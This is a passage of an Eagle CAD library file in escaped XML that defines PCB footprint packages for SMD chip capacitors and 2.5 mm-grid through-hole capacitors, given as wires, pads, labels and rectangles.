width=\"0.1016\" layer=\"51\"/>\n<smd name=\"1\" x=\"-0.7\" y=\"0\" dx=\"1\" dy=\"1.3\" layer=\"1\"/>\n<smd name=\"2\" x=\"0.7\" y=\"0\" dx=\"1\" dy=\"1.3\" layer=\"1\"/>\n<text x=\"-0.635\" y=\"0.889\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.635\" y=\"-2.159\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-0.6604\" y1=\"-0.6223\" x2=\"-0.2804\" y2=\"0.6276\" layer=\"51\"/>\n<rectangle x1=\"0.2794\" y1=\"-0.6223\" x2=\"0.6594\" y2=\"0.6276\" layer=\"51\"/>\n<rectangle x1=\"-0.1001\" y1=\"-0.3\" x2=\"0.1001\" y2=\"0.3\" layer=\"35\"/>\n</package>\n<package name=\"C1608\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\nchip</description>\n<wire x1=\"-1.473\" y1=\"0.983\" x2=\"1.473\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.473\" y1=\"0.983\" x2=\"1.473\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.473\" y1=\"-0.983\" x2=\"-1.473\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-1.473\" y1=\"-0.983\" x2=\"-1.473\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-0.356\" y1=\"0.432\" x2=\"0.356\" y2=\"0.432\" width=\"0.1016\" layer=\"51\"/>\n<wire x1=\"-0.356\" y1=\"-0.419\" x2=\"0.356\" y2=\"-0.419\" width=\"0.1016\" layer=\"51\"/>\n<smd name=\"1\" x=\"-0.85\" y=\"0\" dx=\"1.1\" dy=\"1\" layer=\"1\"/>\n<smd name=\"2\" x=\"0.85\" y=\"0\" dx=\"1.1\" dy=\"1\" layer=\"1\"/>\n<text x=\"-0.635\" y=\"0.762\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.635\" y=\"-2.032\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-0.8382\" y1=\"-0.4699\" x2=\"-0.3381\" y2=\"0.4801\" layer=\"51\"/>\n<rectangle x1=\"0.3302\" y1=\"-0.4699\" x2=\"0.8303\" y2=\"0.4801\" layer=\"51\"/>\n<rectangle x1=\"-0.1999\" y1=\"-0.3\" x2=\"0.1999\" y2=\"0.3\" layer=\"35\"/>\n</package>\n<package name=\"C1812\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\nchip</description>\n<wire x1=\"-2.973\" y1=\"1.983\" x2=\"2.973\" y2=\"1.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"2.973\" y1=\"-1.983\" x2=\"-2.973\" y2=\"-1.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-2.973\" y1=\"-1.983\" x2=\"-2.973\" y2=\"1.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-1.4732\" y1=\"1.6002\" x2=\"1.4732\" y2=\"1.6002\" width=\"0.1016\" layer=\"51\"/>\n<wire x1=\"-1.4478\" y1=\"-1.6002\" x2=\"1.4732\" y2=\"-1.6002\" width=\"0.1016\" layer=\"51\"/>\n<wire x1=\"2.973\" y1=\"1.983\" x2=\"2.973\" y2=\"-1.983\" width=\"0.0508\" layer=\"39\"/>\n<smd name=\"1\" x=\"-1.95\" y=\"0\" dx=\"1.9\" dy=\"3.4\" layer=\"1\"/>\n<smd name=\"2\" x=\"1.95\" y=\"0\" dx=\"1.9\" dy=\"3.4\" layer=\"1\"/>\n<text x=\"-1.905\" y=\"1.905\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.905\" y=\"-3.175\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-2.3876\" y1=\"-1.651\" x2=\"-1.4376\" y2=\"1.649\" layer=\"51\"/>\n<rectangle x1=\"1.4478\" y1=\"-1.651\" x2=\"2.3978\" y2=\"1.649\" layer=\"51\"/>\n<rectangle x1=\"-0.3\" y1=\"-0.4001\" x2=\"0.3\" y2=\"0.4001\" layer=\"35\"/>\n</package>\n<package name=\"C1825\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\nchip</description>\n<wire x1=\"-2.973\" y1=\"3.483\" x2=\"2.973\" y2=\"3.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"2.973\" y1=\"-3.483\" x2=\"-2.973\" y2=\"-3.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-2.973\" y1=\"-3.483\" x2=\"-2.973\" y2=\"3.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-1.4986\" y1=\"3.2766\" x2=\"1.4732\" y2=\"3.2766\" width=\"0.1016\" layer=\"51\"/>\n<wire x1=\"-1.4732\" y1=\"-3.2766\" x2=\"1.4986\" y2=\"-3.2766\" width=\"0.1016\" layer=\"51\"/>\n<wire x1=\"2.973\" y1=\"3.483\" x2=\"2.973\" y2=\"-3.483\" width=\"0.0508\" layer=\"39\"/>\n<smd name=\"1\" x=\"-1.95\" y=\"0\" dx=\"1.9\" dy=\"6.8\" layer=\"1\"/>\n<smd name=\"2\" x=\"1.95\" y=\"0\" dx=\"1.9\" dy=\"6.8\" layer=\"1\"/>\n<text x=\"-1.905\" y=\"3.683\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.905\" y=\"-4.826\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-2.413\" y1=\"-3.3528\" x2=\"-1.463\" y2=\"3.3472\" layer=\"51\"/>\n<rectangle x1=\"1.4478\" y1=\"-3.3528\" x2=\"2.3978\" y2=\"3.3472\" layer=\"51\"/>\n<rectangle x1=\"-0.7\" y1=\"-0.7\" x2=\"0.7\" y2=\"0.7\" layer=\"35\"/>\n</package>\n<package name=\"C2012\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\nchip</description>\n<wire x1=\"-1.973\" y1=\"0.983\" x2=\"1.973\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.973\" y1=\"0.983\" x2=\"1.973\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.973\" y1=\"-0.983\" x2=\"-1.973\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-1.973\" y1=\"-0.983\" x2=\"-1.973\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-0.381\" y1=\"0.66\" x2=\"0.381\" y2=\"0.66\" width=\"0.1016\" layer=\"51\"/>\n<wire x1=\"-0.356\" y1=\"-0.66\" x2=\"0.381\" y2=\"-0.66\" width=\"0.1016\" layer=\"51\"/>\n<smd name=\"1\" x=\"-0.85\" y=\"0\" dx=\"1.3\" dy=\"1.5\" layer=\"1\"/>\n<smd name=\"2\" x=\"0.85\" y=\"0\" dx=\"1.3\" dy=\"1.5\" layer=\"1\"/>\n<text x=\"-0.889\" y=\"1.016\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.889\" y=\"-2.286\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-1.0922\" y1=\"-0.7239\" x2=\"-0.3421\" y2=\"0.7262\" layer=\"51\"/>\n<rectangle x1=\"0.3556\" y1=\"-0.7239\" x2=\"1.1057\" y2=\"0.7262\" layer=\"51\"/>\n<rectangle x1=\"-0.1001\" y1=\"-0.4001\" x2=\"0.1001\" y2=\"0.4001\" layer=\"35\"/>\n</package>\n<package name=\"C3216\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\nchip</description>\n<wire x1=\"-2.473\" y1=\"0.983\" x2=\"2.473\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"2.473\" y1=\"-0.983\" x2=\"-2.473\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-2.473\" y1=\"-0.983\" x2=\"-2.473\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"2.473\" y1=\"0.983\" x2=\"2.473\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-0.965\" y1=\"0.787\" x2=\"0.965\" y2=\"0.787\" width=\"0.1016\" layer=\"51\"/>\n<wire x1=\"-0.965\" y1=\"-0.787\" x2=\"0.965\" y2=\"-0.787\" width=\"0.1016\" layer=\"51\"/>\n<smd name=\"1\" x=\"-1.4\" y=\"0\" dx=\"1.6\" dy=\"1.8\" layer=\"1\"/>\n<smd name=\"2\" x=\"1.4\" y=\"0\" dx=\"1.6\" dy=\"1.8\" layer=\"1\"/>\n<text x=\"-1.27\" y=\"1.143\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.27\" y=\"-2.413\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-1.7018\" y1=\"-0.8509\" x2=\"-0.9517\" y2=\"0.8491\" layer=\"51\"/>\n<rectangle x1=\"0.9517\" y1=\"-0.8491\" x2=\"1.7018\" y2=\"0.8509\" layer=\"51\"/>\n<rectangle x1=\"-0.3\" y1=\"-0.5001\" x2=\"0.3\" y2=\"0.5001\" layer=\"35\"/>\n</package>\n<package name=\"C3225\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\nchip</description>\n<wire x1=\"-2.473\" y1=\"1.483\" x2=\"2.473\" y2=\"1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"2.473\" y1=\"-1.483\" x2=\"-2.473\" y2=\"-1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-2.473\" y1=\"-1.483\" x2=\"-2.473\" y2=\"1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-0.9652\" y1=\"1.2446\" x2=\"0.9652\" y2=\"1.2446\" width=\"0.1016\" layer=\"51\"/>\n<wire x1=\"-0.9652\" y1=\"-1.2446\" x2=\"0.9652\" y2=\"-1.2446\" width=\"0.1016\" layer=\"51\"/>\n<wire x1=\"2.473\" y1=\"1.483\" x2=\"2.473\" y2=\"-1.483\" width=\"0.0508\" layer=\"39\"/>\n<smd name=\"1\" x=\"-1.4\" y=\"0\" dx=\"1.6\" dy=\"2.7\" layer=\"1\"/>\n<smd name=\"2\" x=\"1.4\" y=\"0\" dx=\"1.6\" dy=\"2.7\" layer=\"1\"/>\n<text x=\"-1.397\" y=\"1.651\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.397\" y=\"-2.921\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-1.7018\" y1=\"-1.2954\" x2=\"-0.9517\" y2=\"1.3045\" layer=\"51\"/>\n<rectangle x1=\"0.9517\" y1=\"-1.3045\" x2=\"1.7018\" y2=\"1.2954\" layer=\"51\"/>\n<rectangle x1=\"-0.1999\" y1=\"-0.5001\" x2=\"0.1999\" y2=\"0.5001\" layer=\"35\"/>\n</package>\n<package name=\"C4532\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\nchip</description>\n<wire x1=\"-2.973\" y1=\"1.983\" x2=\"2.973\" y2=\"1.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"2.973\" y1=\"-1.983\" x2=\"-2.973\" y2=\"-1.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-2.973\" y1=\"-1.983\" x2=\"-2.973\" y2=\"1.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-1.4732\" y1=\"1.6002\" x2=\"1.4732\" y2=\"1.6002\" width=\"0.1016\" layer=\"51\"/>\n<wire x1=\"-1.4478\" y1=\"-1.6002\" x2=\"1.4732\" y2=\"-1.6002\" width=\"0.1016\" layer=\"51\"/>\n<wire x1=\"2.973\" y1=\"1.983\" x2=\"2.973\" y2=\"-1.983\" width=\"0.0508\" layer=\"39\"/>\n<smd name=\"1\" x=\"-1.95\" y=\"0\" dx=\"1.9\" dy=\"3.4\" layer=\"1\"/>\n<smd name=\"2\" x=\"1.95\" y=\"0\" dx=\"1.9\" dy=\"3.4\" layer=\"1\"/>\n<text x=\"-1.905\" y=\"2.032\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.905\" y=\"-3.175\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-2.3876\" y1=\"-1.651\" x2=\"-1.4376\" y2=\"1.649\" layer=\"51\"/>\n<rectangle x1=\"1.4478\" y1=\"-1.651\" x2=\"2.3978\" y2=\"1.649\" layer=\"51\"/>\n<rectangle x1=\"-0.4001\" y1=\"-0.7\" x2=\"0.4001\" y2=\"0.7\" layer=\"35\"/>\n</package>\n<package name=\"C4564\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\nchip</description>\n<wire x1=\"-2.973\" y1=\"3.483\" x2=\"2.973\" y2=\"3.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"2.973\" y1=\"-3.483\" x2=\"-2.973\" y2=\"-3.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-2.973\" y1=\"-3.483\" x2=\"-2.973\" y2=\"3.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-1.4986\" y1=\"3.2766\" x2=\"1.4732\" y2=\"3.2766\" width=\"0.1016\" layer=\"51\"/>\n<wire x1=\"-1.4732\" y1=\"-3.2766\" x2=\"1.4986\" y2=\"-3.2766\" width=\"0.1016\" layer=\"51\"/>\n<wire x1=\"2.973\" y1=\"3.483\" x2=\"2.973\" y2=\"-3.483\" width=\"0.0508\" layer=\"39\"/>\n<smd name=\"1\" x=\"-1.95\" y=\"0\" dx=\"1.9\" dy=\"6.8\" layer=\"1\"/>\n<smd name=\"2\" x=\"1.95\" y=\"0\" dx=\"1.9\" dy=\"6.8\" layer=\"1\"/>\n<text x=\"-1.905\" y=\"3.683\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.905\" y=\"-4.826\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-2.413\" y1=\"-3.3528\" x2=\"-1.463\" y2=\"3.3472\" layer=\"51\"/>\n<rectangle x1=\"1.4478\" y1=\"-3.3528\" x2=\"2.3978\" y2=\"3.3472\" layer=\"51\"/>\n<rectangle x1=\"-0.5001\" y1=\"-1\" x2=\"0.5001\" y2=\"1\" layer=\"35\"/>\n</package>\n<package name=\"C025-024X044\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\ngrid 2.5 mm, outline 2.4 x 4.4 mm</description>\n<wire x1=\"-2.159\" y1=\"-0.635\" x2=\"-2.159\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.159\" y1=\"0.635\" x2=\"-1.651\" y2=\"1.143\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-2.159\" y1=\"-0.635\" x2=\"-1.651\" y2=\"-1.143\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"1.651\" y1=\"1.143\" x2=\"-1.651\" y2=\"1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.159\" y1=\"-0.635\" x2=\"2.159\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.651\" y1=\"-1.143\" x2=\"-1.651\" y2=\"-1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.651\" y1=\"1.143\" x2=\"2.159\" y2=\"0.635\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"1.651\" y1=\"-1.143\" x2=\"2.159\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-0.3048\" y1=\"0.762\" x2=\"-0.3048\" y2=\"-0.762\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"0.3302\" y1=\"0.762\" x2=\"0.3302\" y2=\"-0.762\" width=\"0.3048\" layer=\"21\"/>\n<wire x1=\"1.27\" y1=\"0\" x2=\"0.3302\" y2=\"0\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.27\" y1=\"0\" x2=\"-0.3048\" y2=\"0\" width=\"0.1524\" layer=\"51\"/>\n<pad name=\"1\" x=\"-1.27\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"1.27\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<text x=\"-1.778\" y=\"1.397\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-1.778\" y=\"-2.667\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n</package>\n<package name=\"C025-025X050\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\ngrid 2.5 mm, outline 2.5 x 5 mm</description>\n<wire x1=\"-2.159\" y1=\"1.27\" x2=\"2.159\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.159\" y1=\"-1.27\" x2=\"-2.159\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.413\" y1=\"1.016\" x2=\"2.413\" y2=\"-1.016\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.413\" y1=\"1.016\" x2=\"-2.413\" y2=\"-1.016\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.159\" y1=\"1.27\" x2=\"2.413\" y2=\"1.016\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-2.413\" y1=\"1.016\" x2=\"-2.159\" y2=\"1.27\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"2.159\" y1=\"-1.27\" x2=\"2.413\" y2=\"-1.016\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-2.413\" y1=\"-1.016\" x2=\"-2.159\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"0.762\" y1=\"0\" x2=\"0.381\" y2=\"0\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.381\" y1=\"0\" x2=\"0.254\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.254\" y1=\"0\" x2=\"0.254\" y2=\"0.762\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"0.254\" y1=\"0\" x2=\"0.254\" y2=\"-0.762\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-0.254\" y1=\"0.762\" x2=\"-0.254\" y2=\"0\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-0.254\" y1=\"0\" x2=\"-0.254\" y2=\"-0.762\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-0.254\" y1=\"0\" x2=\"-0.381\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.381\" y1=\"0\" x2=\"-0.762\" y2=\"0\" width=\"0.1524\" layer=\"51\"/>\n<pad name=\"1\" x=\"-1.27\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"1.27\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<text x=\"-2.286\" y=\"1.524\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-2.286\" y=\"-2.794\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n</package>\n<package name=\"C025-030X050\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\ngrid 2.5 mm, outline 3 x 5 mm</description>\n<wire x1=\"-2.159\" y1=\"1.524\" x2=\"2.159\" y2=\"1.524\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.159\" y1=\"-1.524\" x2=\"-2.159\" y2=\"-1.524\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.413\" y1=\"1.27\" x2=\"2.413\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.413\" y1=\"1.27\" x2=\"-2.413\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.159\" y1=\"1.524\" x2=\"2.413\" y2=\"1.27\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-2.413\" y1=\"1.27\" x2=\"-2.159\" y2=\"1.524\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"2.159\" y1=\"-1.524\" x2=\"2.413\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-2.413\" y1=\"-1.27\" x2=\"-2.159\" y2=\"-1.524\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"0.762\" y1=\"0\" x2=\"0.381\" y2=\"0\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.381\" y1=\"0\" x2=\"0.254\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.254\" y1=\"0\" x2=\"0.254\" y2=\"0.762\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"0.254\" y1=\"0\" x2=\"0.254\" y2=\"-0.762\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-0.254\" y1=\"0.762\" x2=\"-0.254\" y2=\"0\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-0.254\" y1=\"0\" x2=\"-0.254\" y2=\"-0.762\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-0.254\" y1=\"0\" x2=\"-0.381\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.381\" y1=\"0\" x2=\"-0.762\" y2=\"0\" width=\"0.1524\" layer=\"51\"/>\n<pad name=\"1\" x=\"-1.27\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"1.27\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<text x=\"-2.286\" y=\"1.905\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-2.286\" y=\"-3.048\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n</package>\n<package name=\"C025-040X050\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\ngrid 2.5 mm, outline 4 x 5 mm</description>\n<wire x1=\"-2.159\" y1=\"1.905\" x2=\"2.159\" y2=\"1.905\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.159\" y1=\"-1.905\" x2=\"-2.159\" y2=\"-1.905\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.413\" y1=\"1.651\" x2=\"2.413\" y2=\"-1.651\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.413\" y1=\"1.651\" x2=\"-2.413\" y2=\"-1.651\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.159\" y1=\"1.905\" x2=\"2.413\" y2=\"1.651\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-2.413\" y1=\"1.651\" x2=\"-2.159\" y2=\"1.905\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"2.159\" y1=\"-1.905\" x2=\"2.413\" y2=\"-1.651\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-2.413\" y1=\"-1.651\" x2=\"-2.159\" y2=\"-1.905\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"0.762\" y1=\"0\" x2=\"0.381\" y2=\"0\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.381\" y1=\"0\" x2=\"0.254\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.254\" y1=\"0\" x2=\"0.254\" y2=\"0.762\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"0.254\" y1=\"0\" x2=\"0.254\" y2=\"-0.762\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-0.254\" y1=\"0.762\" x2=\"-0.254\" y2=\"0\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-0.254\" y1=\"0\" x2=\"-0.254\" y2=\"-0.762\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-0.254\" y1=\"0\" x2=\"-0.381\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.381\" y1=\"0\" x2=\"-0.762\" y2=\"0\" width=\"0.1524\" layer=\"51\"/>\n<pad name=\"1\" x=\"-1.27\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"1.27\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<text x=\"-2.286\" y=\"2.159\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-2.286\" y=\"-3.429\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n</package>\n<package name=\"C025-050X050\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\ngrid 2.5 mm, outline 5 x 5 mm</description>\n<wire x1=\"-2.159\" y1=\"2.286\" x2=\"2.159\" y2=\"2.286\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.159\" y1=\"-2.286\" x2=\"-2.159\" y2=\"-2.286\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.413\" y1=\"2.032\" x2=\"2.413\" y2=\"-2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.413\" y1=\"2.032\" x2=\"-2.413\" y2=\"-2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.159\" y1=\"2.286\" x2=\"2.413\" y2=\"2.032\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-2.413\" y1=\"2.032\" x2=\"-2.159\" y2=\"2.286\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"2.159\" y1=\"-2.286\" x2=\"2.413\" y2=\"-2.032\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-2.413\" y1=\"-2.032\" x2=\"-2.159\" y2=\"-2.286\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"0.762\" y1=\"0\" x2=\"0.381\" y2=\"0\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.381\" y1=\"0\" x2=\"0.254\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.254\" y1=\"0\" x2=\"0.254\" y2=\"0.762\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"0.254\" y1=\"0\" x2=\"0.254\" y2=\"-0.762\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-0.254\" y1=\"0.762\" x2=\"-0.254\" y2=\"0\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-0.254\" y1=\"0\" x2=\"-0.254\" y2=\"-0.762\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-0.254\" y1=\"0\" x2=\"-0.381\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.381\" y1=\"0\" x2=\"-0.762\" y2=\"0\" width=\"0.1524\" layer=\"51\"/>\n<pad name=\"1\" x=\"-1.27\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"1.27\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<text x=\"-2.286\" y=\"2.54\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-2.286\" y=\"-3.81\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n</package>\n<package name=\"C025-060X050\">\n<description>&lt;b&gt;CAPACITOR&lt;/b&gt;&lt;p&gt;\ngrid 2.5 mm, outline 6 x 5 mm</description>\n<wire x1=\"-2.159\" y1=\"2.794\" x2=\"2.159\" y2=\"2.794\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.159\" y1=\"-2.794\" x2=\"-2.159\" y2=\"-2.794\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.413\" y1=\"2.54\" x2=\"2.413\" y2=\"-2.54\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.413\" y1=\"2.54\" x2=\"-2.413\" y2=\"-2.54\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.159\" y1=\"2.794\" x2=\"2.413\" y2=\"2.54\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-2.413\" y1=\"2.54\" x2=\"-2.159\" y2=\"2.794\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"2.159\" y1=\"-2.794\" x2=\"2.413\" y2=\"-2.54\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-2.413\" y1=\"-2.54\" x2=\"-2.159\" y2=\"-2.794\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"0.762\" y1=\"0\" x2=\"0.381\" y2=\"0\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.381\" y1=\"0\" x2=\"0.254\" y2=\"0\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.254\" y1=\"0\" x2=\"0.254\" y2=\"0.762\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"0.254\" y1=\"0\" x2=\"0.254\" y2=\"-0.762\" 